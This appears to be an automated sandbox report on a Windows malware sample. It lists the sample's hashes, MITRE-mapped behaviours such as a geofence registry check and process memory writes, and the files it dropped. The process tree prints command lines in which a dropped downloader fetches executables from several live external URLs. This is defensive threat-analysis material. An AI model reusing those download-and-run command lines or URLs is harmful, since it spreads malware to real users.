adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7

General

Target

adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe
Size

351KB
MD5

d758c3bc9f30553157d9accb22dc8897
SHA1

aa888695f244306faea62beeb497f0dc4381905d
SHA256

adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7
SHA512

88ce9c8effc66b8c3da800fc252d6db88757535ebc279415b33ed0913cc117fd7a0b3ae8e32960864a9d00e3c05f42ad4812926445e2981079b6060cf6f093e4
SSDEEP

6144:BME1nmg1tDbJ5621YNzigKarmXGfol3MavBGL8ap7mdALnXOGkUTYAm802G1wZ7C:ugnJzqAlLvBva7m+Ln5kcjhHG1+UWw

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 4 IoCs

pid	Process
4744	Urseiklmn.exe
3552	Urseiklmn.exe
4316	Urseiklmn.exe
4720	Urseiklmn.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3396 wrote to memory of 4744	3396	adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe	82
PID 3396 wrote to memory of 4744	3396	adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe	82
PID 3396 wrote to memory of 4744	3396	adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe	82
PID 3396 wrote to memory of 3552	3396	adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe	87
PID 3396 wrote to memory of 3552	3396	adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe	87
PID 3396 wrote to memory of 3552	3396	adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe	87
PID 3396 wrote to memory of 4316	3396	adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe	88
PID 3396 wrote to memory of 4316	3396	adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe	88
PID 3396 wrote to memory of 4316	3396	adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe	88
PID 3396 wrote to memory of 4720	3396	adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe	90
PID 3396 wrote to memory of 4720	3396	adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe	90
PID 3396 wrote to memory of 4720	3396	adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe	90

C:\Users\Admin\AppData\Local\Temp\adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe
"C:\Users\Admin\AppData\Local\Temp\adf3b5f6ff5510521cec6cd1a7aa7a40f926e0144d28204754ff948973d038e7.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3396
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe" "http://gtszylcd.3322.org:8181/shenge.exe"
  2⤵
  - Executes dropped EXE
  PID:4744
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe" "http://d1.downxia.net/downloader/setup3002.exe"
  2⤵
  - Executes dropped EXE
  PID:3552
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe" "http://dl.youbak.com/msn/software/partner/mfq/haoya.exe"
  2⤵
  - Executes dropped EXE
  PID:4316
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe" "http://61.156.40.231:81/soft/OemWpsSetup40.6.exe"
  2⤵
  - Executes dropped EXE
  PID:4720

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe

Filesize
499KB

MD5
783291f2ef79f9537cc509c53076c3b3

SHA1
855265fd62d97bf04cda9a8d1cf0f3f6ede9300f

SHA256
5bf59159c93899076a347ff40ebcbbea9dae7c8c16090e573171de248712c5d4

SHA512
2d251b804cb40eed40bf3d714413471c2bd3397008fedb54fa6b279ced88feee8b4d07ac94993b89eeb329865a0e9dae5412ffd957f6e52bdf208d0f366dccdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe

Filesize
499KB

MD5
783291f2ef79f9537cc509c53076c3b3

SHA1
855265fd62d97bf04cda9a8d1cf0f3f6ede9300f

SHA256
5bf59159c93899076a347ff40ebcbbea9dae7c8c16090e573171de248712c5d4

SHA512
2d251b804cb40eed40bf3d714413471c2bd3397008fedb54fa6b279ced88feee8b4d07ac94993b89eeb329865a0e9dae5412ffd957f6e52bdf208d0f366dccdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe

Filesize
499KB

MD5
783291f2ef79f9537cc509c53076c3b3

SHA1
855265fd62d97bf04cda9a8d1cf0f3f6ede9300f

SHA256
5bf59159c93899076a347ff40ebcbbea9dae7c8c16090e573171de248712c5d4

SHA512
2d251b804cb40eed40bf3d714413471c2bd3397008fedb54fa6b279ced88feee8b4d07ac94993b89eeb329865a0e9dae5412ffd957f6e52bdf208d0f366dccdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe

Filesize
499KB

MD5
783291f2ef79f9537cc509c53076c3b3

SHA1
855265fd62d97bf04cda9a8d1cf0f3f6ede9300f

SHA256
5bf59159c93899076a347ff40ebcbbea9dae7c8c16090e573171de248712c5d4

SHA512
2d251b804cb40eed40bf3d714413471c2bd3397008fedb54fa6b279ced88feee8b4d07ac94993b89eeb329865a0e9dae5412ffd957f6e52bdf208d0f366dccdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Urseiklmn.exe

Filesize
499KB

MD5
783291f2ef79f9537cc509c53076c3b3

SHA1
855265fd62d97bf04cda9a8d1cf0f3f6ede9300f

SHA256
5bf59159c93899076a347ff40ebcbbea9dae7c8c16090e573171de248712c5d4

SHA512
2d251b804cb40eed40bf3d714413471c2bd3397008fedb54fa6b279ced88feee8b4d07ac94993b89eeb329865a0e9dae5412ffd957f6e52bdf208d0f366dccdf

Download Submit

Analysis

Sharing